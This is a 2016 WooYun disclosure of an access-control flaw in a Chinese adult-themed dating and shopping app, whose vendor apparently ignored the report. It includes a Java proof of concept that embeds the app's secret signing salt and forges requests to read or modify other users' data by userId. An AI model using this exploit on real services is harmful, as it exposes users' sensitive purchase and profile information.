当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0193394

漏洞标题:盘丝洞两性情趣交友APP设计缺陷导致大量用户信息泄漏/可任意修改用户信息/可进行任意用户操作

相关厂商:盘丝洞

漏洞作者: 灰狗

提交时间:2016-04-07 10:24

修复时间:2016-05-22 10:30

公开时间:2016-05-22 10:30

漏洞类型:非授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-07: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-05-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

盘丝洞两性情趣交友APP

详细说明:

1、APP中android和iOS接口一样的,接收http包也是一样的
2、对app进行抓包,burp的包

Snip20160407_1.png


重点关注sign参数,签名的

Snip20160407_2.png


非法参数签名
3、反编译apk,查找签名算法

Snip20160407_4.png


分析:
1、传入参数进行null检测,true的话怎么new一个
2、添加post请求的一些参数到map中
3、map中的参数名keyset转换成list,进行sort排序
4、new一个string构造,循环取出参数名和值添加到string构造中
5、如果循环完,等于null啦,则在stringbuild中加入salt,进行md5加密,生成sign
于是自己写一个出来,方便以后进行请求

Snip20160407_5.png


于是我们就可以进行任意请求啦,我们发现userid就是唯一的标识,session都是摆设
4、大量买过情趣用品的用户信息侧漏

Snip20160407_6.png


5、各种用户信息越权查询、修改

Snip20160407_7.png


修改keyvalue和userid,然后进行上述签名,即可进行越权修改

漏洞证明:

Snip20160407_6.png


import **.**.**.**.IOException;
import **.**.**.**.UnsupportedEncodingException;
import **.**.**.**.URLEncoder;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import org.jsoup.Jsoup;
import org.jsoup.Connection.Method;
import org.jsoup.Connection.Response;
/**
*
* @author huigou
*
*/
public class Sign {
/**
*
* @param Screet
* @param map
* @return
* @throws UnsupportedEncodingException
*/
public static Map<String, String> sign(String Screet, Map<String, String> map) throws UnsupportedEncodingException {
if (map == null) {
map = new HashMap<>();
}
map.put("appVersion", "4.4.5");
map.put("platformModel", "iPhone 6s");
map.put("platformType", "1");
map.put("appType", "0");
map.put("v", "308");
map.put("timestamp", "1459866463678");
map.put("lastTime", "1459848354294");
ArrayList<String> list = new ArrayList<>(map.keySet());
Collections.sort(list); // 排序
StringBuilder localStringBuilder = new StringBuilder();
Iterator<String> iterator = list.iterator();
while (iterator.hasNext()) {
String str1 = iterator.next();
String str2 = map.get(str1);
if (str2 != null) {
localStringBuilder.append(str1 + "=" + URLEncoder.encode(str2, "UTF-8"));
map.put(str1, str2);
} else {
localStringBuilder.append(str1 + "=");
map.put(str1, "");
}
}
localStringBuilder.append(Screet);
map.put("sign", MD5.getMD5(localStringBuilder.toString().getBytes()));
return map;
}
public static void main(String[] args) throws IOException {
Map<String, String> map = new HashMap<>();
map.put("goodsId", "100006");
map.put("num", "1");
map.put("specifictionId", "100008");
map.put("specifictionName", "%E9%AD%94%E5%8A%9B%E7%B2%89");
map.put("userId", "902104");
Map hMap = Sign.sign("LWodY52kWIGOPGLo0189wj5eiYE", map);
Response response = Jsoup.connect("http://**.**.**.**/mall/cart/add.htm").method(Method.POST).data(hMap)
.ignoreContentType(true).execute();
System.out.println(response.body());
}
}

修复方案:

1、android sign算法针对不存在漏洞的接口,算是多一道防护
2、针对存在漏洞的接口,非对称加密是你最好的选择

版权声明:转载请注明来源 灰狗@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)